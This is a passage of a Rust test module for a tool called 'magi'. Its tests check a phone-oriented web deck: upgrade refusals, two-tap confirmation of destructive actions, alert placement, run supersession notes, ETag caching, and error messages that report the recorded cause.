5297        // Somebody else's `magi serve` owns the queue. Replacing this binary
5298        // would leave that process running an old one against the same
5299        // claims, which is worse than refusing.
5300        let mut beat = crate::daemon::Status::new();
5301        beat.pid = 4321;
5302        beat.updated_at = jiff::Timestamp::now();
5303        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5304            .expect("publish a heartbeat");
5305
5306        let res = fx.post("/api/upgrade", None).await;
5307        assert_eq!(res.status, 409);
5308        let err = res.json()["error"].as_str().unwrap().to_owned();
5309        assert!(err.contains("4321"), "the refusal names the owner: {err}");
5310        assert!(err.contains("old one against the same queue"), "{err}");
5311    }
5312
5313    #[tokio::test]
5314    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
5315        let fx = Fixture::start().await;
5316        // The fixture's repo has no update config that resolves to a newer
5317        // release, so this is the "already current" path. It must answer 200
5318        // and leave the process alone: restarting for an upgrade that did not
5319        // happen parks the run in flight and drops every connection to pay
5320        // for nothing. A probe against a deck already on the newest build did
5321        // exactly that, which is how this case got its own branch.
5322        let res = fx.post("/api/upgrade", None).await;
5323        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
5324        let body = res.json();
5325        assert!(body["to"].is_null(), "there was no release to move to");
5326        assert!(body["parked"].is_null(), "and nothing was parked");
5327        assert!(
5328            body["detail"]
5329                .as_str()
5330                .unwrap()
5331                .contains("nothing restarted"),
5332            "{body:?}"
5333        );
5334    }
5335
5336    #[test]
5337    fn the_upgrade_button_arms_before_it_restarts_anything() {
5338        // It ends the process the operator is talking to, and a phone in a
5339        // pocket taps things. One tap arms, the second commits.
5340        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
5341        assert!(APP_JS.contains("Replace the binary and restart?"));
5342        assert!(APP_JS.contains("function confirmed("));
5343        // Hidden when the loop is somebody else's, matching the 409 above.
5344        assert!(APP_JS.contains("show(upgradeBtn, !foreign)"));
5345        // A park waits for the node in flight, up to an hour for an implement
5346        // wave. Leaving the button reading "Upgrading…" for that long is the
5347        // same mistake as an error rendered off screen: it looks wedged.
5348        assert!(
5349            APP_JS.contains("Parking, then restarting"),
5350            "the button says what it is waiting for"
5351        );
5352        // And nothing to install must give the button back rather than
5353        // pretending a restart is coming.
5354        assert!(APP_JS.contains("if (!out.to)"));
5355    }
5356
5357    #[test]
5358    fn an_error_is_visible_from_where_the_button_is() {
5359        // The alert used to sit in the flow under the header. On a phone
5360        // scrolled 13 500 px down to a run's action sheet that is off screen,
5361        // so tapping Resume and being told "the loop is running run b455
5362        // right now" looked exactly like a button that did nothing.
5363        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
5364            ..APP_CSS.find(".alert-text").expect(".alert-text")];
5365        assert!(
5366            alert.contains("position: fixed"),
5367            "an error about the thing under your thumb has to be visible from \
5368             where your thumb is: {alert}"
5369        );
5370        assert!(
5371            alert.contains("z-index: 25"),
5372            "above the dock (20) and the run-actions FAB (15), so neither \
5373             buries it: {alert}"
5374        );
5375        assert!(
5376            alert.contains("var(--tap)"),
5377            "and clear of the dock and the home indicator: {alert}"
5378        );
5379        // The FAB sits at the same height on the right. An error that covered
5380        // it would hide the button the operator reaches for next.
5381        assert!(
5382            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
5383            "the FAB's column stays free: {alert}"
5384        );
5385    }
5386
5387    #[tokio::test]
5388    async fn an_older_attempt_says_what_replaced_it() {
5389        let fx = Fixture::start().await;
5390        let q = fx.queue();
5391        let runs = fx.runs();
5392        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
5393        write_run(&runs, first, RunStatus::Stalled);
5394        write_run(&runs, second, RunStatus::Blocked);
5395
5396        let mut t = Task::new(
5397            "one task".to_owned(),
5398            "do it".to_owned(),
5399            PathBuf::from("/repo"),
5400            Source::Human,
5401        );
5402        t.runs = vec![first.to_owned(), second.to_owned()];
5403        q.put(&mut t).expect("put");
5404
5405        // Two cards with the same title and no hint which is which was the
5406        // question: "why are there two of the same, one stalled and one
5407        // blocked?" The older one now names its replacement.
5408        let rows = fx.get("/api/runs").await.json();
5409        let by = |short: &str| -> Value {
5410            rows.as_array()
5411                .unwrap()
5412                .iter()
5413                .find(|r| r["short"] == short)
5414                .cloned()
5415                .unwrap_or(Value::Null)
5416        };
5417        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
5418        assert!(
5419            by("bbbb")["superseded_by"].is_null(),
5420            "the latest attempt is not superseded by anything"
5421        );
5422        // Front end: the note has to be rendered, not just carried.
5423        assert!(APP_JS.contains("run.superseded_by"));
5424        assert!(APP_JS.contains("Superseded by"));
5425    }
5426
5427    #[tokio::test]
5428    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
5429        let fx = Fixture::start().await;
5430        // No cache header at all meant browsers invented their own policy,
5431        // and one did: a phone went on showing "Candidates must be folded
5432        // before deleting. Run `magi fold` first." - deleted two releases
5433        // earlier - from a deck that no longer contained the sentence. The
5434        // button it named was right there, and unreachable.
5435        let js = fx.get("/app.js").await;
5436        assert_eq!(js.status, 200);
5437        let tag = js
5438            .header("etag")
5439            .expect("an etag to revalidate against")
5440            .to_owned();
5441        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
5442        assert_eq!(
5443            js.header("cache-control"),
5444            Some("no-cache, must-revalidate"),
5445            "the phone has to ask every time"
5446        );
5447
5448        // And the asking has to be cheap, or `must-revalidate` just means
5449        // "send the whole interface on every load".
5450        let again = fx
5451            .get_with("/app.js", &[("if-none-match", tag.as_str())])
5452            .await;
5453        assert_eq!(
5454            again.status, 304,
5455            "a deck it already has costs one round trip"
5456        );
5457        assert!(again.body.is_empty(), "304 carries no body");
5458
5459        // A weakened tag from a proxy still matches; a different build does
5460        // not, which is the case that has to deliver the new interface.
5461        let weak = fx
5462            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
5463            .await;
5464        assert_eq!(weak.status, 304);
5465        let stale = fx
5466            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
5467            .await;
5468        assert_eq!(stale.status, 200, "an older build must be replaced");
5469        assert!(stale.body.contains("renderRunActions"));
5470    }
5471
5472    #[test]
5473    fn the_deck_never_sends_the_operator_to_a_terminal() {
5474        // The whole point of the phone UI is that a terminal is not needed.
5475        // The delete control used to answer with "Run `magi fold` first."
5476        assert!(
5477            !APP_JS.contains("Run `magi fold` first"),
5478            "the deck must offer the fold, not prescribe a shell command"
5479        );
5480        assert!(APP_JS.contains("foldRun:"));
5481        assert!(APP_JS.contains("resumeRun:"));
5482        assert!(APP_JS.contains("renderRunActions"));
5483
5484        // Folding is destructive and armed in two steps, like deleting.
5485        assert!(APP_JS.contains("armedFold"));
5486        assert!(APP_JS.contains("Yes, fold worktrees"));
5487
5488        // And the copy has to say that the two actions are opposites, because
5489        // folding throws away exactly what a resume would continue from.
5490        assert!(APP_JS.contains("can no longer be resumed"));
5491    }
5492
5493    #[test]
5494    fn a_finished_run_explains_itself_with_its_own_last_line() {
5495        // The deck used to answer "why did this stop?" with a sentence chosen
5496        // by status alone. Run e633 stalled because two judges answered with
5497        // the wrong JSON shape and its card said "The panel collapsed on
5498        // agent quota" - with `quota: []` in the record and a quota-loss
5499        // counter right above it that correctly said nothing.
5500        assert!(
5501            !APP_JS.contains("collapsed on agent quota"),
5502            "a stall must not be explained by a cause the deck did not check"
5503        );
5504        assert!(
5505            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
5506            "and a block must not offer a guess with an `or` in it"
5507        );
5508
5509        // The reason it does have is `run.event`, which must reach finished
5510        // runs: gating it on movement hid the recorded truth at the one moment
5511        // the operator is reading the card to find out what happened.
5512        assert!(
5513            APP_JS.contains("setText(r.event, run.event || \"\")"),
5514            "the run's last line is rendered unconditionally"
5515        );
5516        assert!(
5517            !APP_JS.contains("moving && run.event"),
5518            "and never gated on the run still moving"
5519        );
5520
5521        // Quota keeps its own counter, fed by the number actually recorded.
5522        assert!(APP_JS.contains("lost to quota"));
5523    }
5524}